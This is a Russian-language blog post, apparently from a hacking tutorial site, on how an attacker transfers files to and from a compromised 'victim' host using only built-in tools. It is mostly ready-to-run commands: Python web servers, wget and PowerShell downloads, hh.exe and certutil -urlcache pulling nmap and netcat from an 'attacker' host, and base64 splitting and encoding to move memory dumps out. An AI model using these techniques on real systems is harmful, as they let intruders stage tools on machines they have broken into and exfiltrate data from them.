Первая задача, с которой хакер сталкивается на этапе построения атаки - это передача файлов.
Нужно залить на удаленный хост эксплоит, скачать нужный файл, дамп памяти, поднять прокси-сервер, прочее. Такая специфика передачи файлов обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Такую операцию называют эксфильтрацией. И тут есть несколько вариантов.
Первый самый простой вариант передачи файлов под Linux. Для быстрого старта веб-сервера в текущей папке используем встроенный модуль Python2:
attacker> python -m SimpleHTTPServer 8080
Для Рython3:
attacker>python3 -m http.server 8080
Передаем наш файл:
victim$> wget http://attacker/nmap.exe -O /tmp/nmap.exe
Если на удаленном хосте установлена Windows 7-10, лучше использовать PowerShell:
victim$> powershell -c (new-object System.Net.WebClient).DownloadFile ('http://attacker/nmap.exe' 'C:\Users\victim\desktop\nmap.exe')
Часто HTTP - единственное окно в мир из DMZ, и в Windows тоже приходится им пользоваться, причем разными способами. Наиболее универсальный, но не самый красивый метод выглядит так:
victim$> hh.exe http://attacker/nmap.exe.txt
victim$> cd \users\victim\appdata\local\microsoft\windows\
victim$> dir /s nmap.exe
victim$> cd путь_до_папки
victim$> move nmap.exe[1].txt nmap.exe
Передать файлы в виде простого текста возможно почти всегда. Этот способ подразумевает отправку файла любого содержимого, но с расширением .txt. Можно использовать очень полезную утилиту certutil, которая предназначена для различных криптографических операций. У нее куча опций, ее можно сравнить со швейцарским ножом. Вот как она используется для передачи файла - лезвие №1:
victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt
Или так:
victim$>certutil -VerifyCTL -f -split http://attacker/nc.exe.txt
Как правило, если у нас есть шелл, мы можем вставить в него достаточно большую порцию данных, используя буфер обмена. При этом данные должны быть представлены в текстовой форме. Иногда слишком большие порции данных передать невозможно. Поэтому в зависимости от размера передаваемого файла его следует сначала разделить на куски необходимых размеров:
attacker> split -b $[1*1024*1024] nmap.zip
В итоге получатся n файлов по 1 Мбайт (как в примере), начинающиеся на x*. В качестве метода трансформации будем использовать Base64:
attacker> base64 -w 0 < xaa > xaa.txt
Под Linux после завершения передачи куски файла могут быть соединены вместе:
victim$> for i in x*; do base64 < $i > $i.txt; done
victim$> cat x*.txt > nmap.zip
Готово, файл собран из кусочков.
В Windows для решения аналогичной задачи существуют разные приемы. Вот классический способ, подходящий для раритетных версий Windows:
attacker> wine exe2bat.exe someprog.exe commands.bat
Полученный на выходе bat-файл - это готовые команды, полностью состоящие из печатных символов. Для сборки из текстового представления (в данном случае Hex) в исходный двоичный код используется встроенный компонент debug.exe, который присутствует только в 32-битных версиях Windows от XP до 7 включительно.
Более современный метод, работающий на Windows 7–10 и аналогичных серверных редакциях Windows - лезвие №2:
victim$> certutil -decode content_base64.txt nmap.exe
В каждом из упомянутых случаев вы можете столкнуться с тем, что файл надо порезать на несколько частей. Чтобы собрать получившиеся двоичные куски в один файл в Windows, нужно сделать следующее:
victim$> type xaa.bin xab.bin xac.bin > 1.exe
А если, наоборот, надо выгрузить с victim на attacker двоичные файлы большого размера, например дамп памяти? Проще всего порезать файл будет с помощью 7zip, который не требует установки и может быть доставлен на машину с помощью двух файлов 7z.exe и 7z.dll:
victim$> 7z a -v1m out.7z hugefile.bin
Затем полученные бинарные куски могут быть закодированы в Base64 - лезвие №3:
victim$> certutil -encode 1.bin 1.txt
И переданы по соответствующему каналу на attacker.
No comments:
Post a Comment
А что вы думаете по этому поводу?